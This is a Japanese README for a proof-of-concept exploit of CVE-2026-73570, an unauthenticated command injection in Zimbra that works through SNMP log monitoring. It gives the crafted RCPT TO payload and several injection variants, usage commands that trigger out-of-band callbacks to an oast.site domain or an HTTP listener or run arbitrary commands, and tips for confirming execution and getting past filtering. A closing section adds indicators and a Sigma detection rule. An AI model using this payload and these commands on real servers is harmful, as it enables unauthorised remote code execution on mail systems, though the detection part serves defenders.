
CVE-2026-73570 の概念実証エクスプロイト。Zimbra Collaboration Suite における zimbra-snmp ログインジェクションを介した未認証 OS コマンドインジェクションであり、検出ガイダンスも含む。
CVE-2026-73570 の概念実証エクスプロイト。これは Zimbra Collaboration Suite < 10.1.20 において、zimbra-snmp パッケージがインストールされ、SNMP 通知が有効になっている場合に発生する未認証のOSコマンドインジェクション(CWE-78、CVSS 8.9)です。
免責事項: この PoC は認可されたセキュリティテスト、防御的研究、および自身のシステムの検証のみを目的としています。所有していないシステム、またはテストに対する明示的な書面による許可を持たないシステムに対して使用しないでください。
Zimbra の SNMP 通知機能は swatchdog を使用して /var/log/zimbra.log を監視し、サービスイベントを検出します。ログ行が監視パターンに一致すると、一致したテキストが SNMP 通知を送信するシェルコマンドにサニタイズされずに埋め込まれます。
攻撃チェーン:
1. 攻撃者が細工された RCPT TO アドレスを含む SMTP セッションを送信する:
RCPT TO:<"x: Service status change: localhost $(CMD)
changed from stopped to running"@cve.invalid>
ローカルパートは RFC 5321 の引用文字列であるため、Postfix は
このアドレス構文(スペース、コロン、$(...) を含む)を受け入れる。
2. Postfix は受信者を拒否し(リレー拒否 / ユーザー不明 / 送信者
制限)、引用符を除去した完全な to=<...> 文字列を
/var/log/zimbra.log に書き込む:
NOQUEUE: reject: RCPT from unknown[x.x.x.x]: ... to=<x: Service status
change: localhost $(CMD) changed from stopped to [email protected]> ...
3. swatchdog (zimbra-snmp) が定期的にログをスキャンし、監視パターン
"Service status change ... changed from ... to ..." に一致させる。
4. 一致したテキストが SNMP 通知シェルコマンドに埋め込まれる
-> $(CMD) が評価される -> `zimbra` ユーザーとしてコマンドが実行される。
ターゲットは以下のすべてを満たす必要があります:
zimbra-snmp パッケージがインストールされているzmlocalconfig | grep -i snmp_notify)攻撃者側: Python 3(標準ライブラリのみ、依存関係なし)。
# 1. アウトオブバンド DNS コールバックで RCE を検証 (interactsh / Burp Collaborator):
python3 poc_cve_2026_73570.py -t mail.target.com --oob abc123.oast.site
# 2. 自身のリスナーへの HTTP コールバックで RCE を検証:
python3 poc_cve_2026_73570.py -t mail.target.com --oob http://10.0.0.5:8884/cb
# 3. ホストにマーカーファイルを配置 (後でサーバー上で手動確認):
python3 poc_cve_2026_73570.py -t mail.target.com --cmd "touch /tmp/CVE-2026-73570_pwned"
# 4. フィンガープリントのみ (ペイロードは送信しない):
python3 poc_cve_2026_73570.py -t mail.target.com --check-only
# デバッグ: 完全な SMTP トランスクリプトを表示
python3 poc_cve_2026_73570.py -t mail.target.com --cmd "id" --debug
オプション:
| フラグ | 説明 |
|---|---|
-t, --target | ターゲットの Zimbra SMTP IP/ホスト名 (必須) |
-p, --port | SMTP ポート (デフォルト: 25) |
--tls | STARTTLS を使用 (例: ポート 587) |
--oob | OOB DNS ドメインまたは HTTP コールバック URL (推奨) |
--cmd | OOB コールバックの代わりに任意のコマンド |
--fake-host | 偽の Service status change 文字列内のホスト名 (デフォルト: localhost) |
--check-only | フィンガープリントのみ、ペイロードは送信しない |
--delay | 送信間の遅延 (秒) (デフォルト: 1.0) |
--debug | 完全な SMTP トランスクリプトを表示 |
スクリプトは各コマンドを複数のインジェクション変種 ($(...)、バッククォート、;cmd;#、$({IFS}...)) で送信します。各変種について、RCPT レスポンスコードを監視してください:
| RCPT レスポンス | 意味 |
|---|---|
250、450、454 Relay access denied、550 5.1.1 User unknown | アドレス構文が受け入れられた — 完全な to=<...> 文字列を含む拒否行がログに記録された。ペイロードが仕込まれた。 |
501 5.1.3 Bad recipient address syntax | Postfix がパース時にアドレスを拒否した — 有用なものはログに記録されていない。スクリプトは自動的に引用符なしのフォールバックで再試行する。 |
次にサーバー上で確認します (アクセス権がある場合):
# インジェクションされた行が存在する必要がある:
grep 'Service status change' /var/log/zimbra.log | tail
# 期待値: ... to=<x: Service status change: localhost $(...) changed from stopped to [email protected]> ...
# 1〜5 分待つ (swatchdog は定期的にログをスキャンする — 実行はリアルタイムではない)、
# その後、効果を確認する:
ls -la /tmp/ # --cmd を使用した場合
# または OOB リスナーでコールバックを監視する
ログ行が存在するのにコマンドが実行されない場合、残りの前提条件は swatchdog 側にあります: プロセスが実行中であること (ps aux | grep swatch)、およびその設定が実際に Service status change パターンを監視していることを確認してください。
実行コンテキスト: コマンドは zimbra ユーザーとして実行されます (root ではない)。
fail2ban-client status、iptables -L -n | grep <your_ip> を確認し、tcpdump -i any port 25 and host <your_ip> -nn -A でパケットが Postfix に到達していることを確認してください。NOQUEUE: reject 行ではなく、warning: Illegal address syntax ... in RCPT command: ... としてログに記録されます。代わりに攻撃者 IP で grep してください。悪用成功の主な指標:
/var/log/zimbra.log の Postfix 拒否行内の to=<*: Service status change: *$(...)* — Service status change というテキストが to=<> アドレス内に正当に現れることはないため、誤検知はほぼゼロです。swatchdog / swatch の子プロセスとして生成されたシェルまたはコマンドインタプリタ (sh、bash、curl、wget、nc、python、perl)。/opt/zimbra/jetty/webapps/ または /opt/zimbra/jetty_base/webapps/ 配下の新しい .jsp/.jspx ファイル、/tmp/ 内の予期しないファイル、zimbra ユーザーの新しい cron エントリまたは SSH キー、およびメールサーバーからの通常のメールフローに一致しない外向き接続。Sigma ルールの例 (試行段階):
title: Zimbra SNMP Notification Log Injection Attempt - CVE-2026-73570
logsource:
product: linux
service: postfix
detection:
sel:
- 'to=<*: Service status change: *$(*'
- 'to=<*: Service status change: *`*'
condition: sel
level: high
tags:
- attack.initial-access
- attack.t1190
- cve.2026.73570
zimbra-snmp パッケージの停止/削除を検討してください。